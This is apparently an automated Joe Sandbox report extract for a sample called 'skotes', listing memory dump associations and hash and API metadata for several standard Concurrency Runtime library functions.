Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 861ad33e52d837142abaec9541485ffcff373cde9c4d694ddb13a3e5e8016617
Instruction ID: 99db96b98bf5983d5a9cc64b08b64ad9ee11607802b6f5dfb130cee48a2d64db
Opcode Fuzzy Hash: 861ad33e52d837142abaec9541485ffcff373cde9c4d694ddb13a3e5e8016617
Instruction Fuzzy Hash: D8210B39B00616AFCB18A768D855ABDB7A5FF94334F08012AE801872D1CF64EC46CAB4

Function 00D2AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00D2AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D2AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00D2AF4E

Strings

pExecutionResource, xrefs: 00D2AF07

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 0b045c9b06be9b6c8106df6662d1c9bd3f22785a771b38bf224f0ee99f0c9873
Instruction ID: 972adda40a26821242e60c80f5af109b99d14f8e18e24389f3ab5292dce0be71
Opcode Fuzzy Hash: 0b045c9b06be9b6c8106df6662d1c9bd3f22785a771b38bf224f0ee99f0c9873
Instruction Fuzzy Hash: 85219575640315AFCB08EF54D982AEDB7A5FF58310F144059F501AB382DBB4AA45CBB1

Function 00D24EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D24F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00D24F66

Strings

ppVirtualProcessorRoots, xrefs: 00D24F1C
count, xrefs: 00D24EBA

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 889befd74fd53f954db2131d786c1261caeed10e45b9b7752a647a66eca192e6
Instruction ID: be637a8f21e2bf593e7ac2b2c1d886101b467e85004b26641227b9d3e04d6f7f
Opcode Fuzzy Hash: 889befd74fd53f954db2131d786c1261caeed10e45b9b7752a647a66eca192e6
Instruction Fuzzy Hash: 5B21BD34600225EFCB14EFA8E991EAD77B5FF58314F004069F90697691DB71AA05CF71

Function 00D2B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D2BA0E

Strings

RoUninitialize, xrefs: 00D2B9C1
combase.dll, xrefs: 00D2B983, 00D2B988, 00D2B99D, 00D2B9C8
RoInitialize, xrefs: 00D2B998

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 25fc8caff948505055c4cd001ce253506a1d84ef37e2b8c540ca1efeddbf623c
Instruction ID: 73121a45fdf43b17c41b77e9f382a04ca96a76bea6eb715f0c68206bdf71211f
Opcode Fuzzy Hash: 25fc8caff948505055c4cd001ce253506a1d84ef37e2b8c540ca1efeddbf623c
Instruction Fuzzy Hash: 0F01F9716823236EEB10B7756C09B7B369CAF51318F20182AFD90E62D1EFB5C8444BB5

Function 00D26E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00D26E73

Part of subcall function 00D24E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00D24E7F
Part of subcall function 00D24E6E: List.LIBCMT ref: 00D24E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D26E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D26EAA

Strings

eventObject, xrefs: 00D26E7D

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 99e331197e0e1bd2c0e3b2f4f301732462db80473b6a105106e87adc4f47035c
Instruction ID: a607048b102ad994e923015f1ed3de2df2781f90b186187f30fcf1341da208e5
Opcode Fuzzy Hash: 99e331197e0e1bd2c0e3b2f4f301732462db80473b6a105106e87adc4f47035c
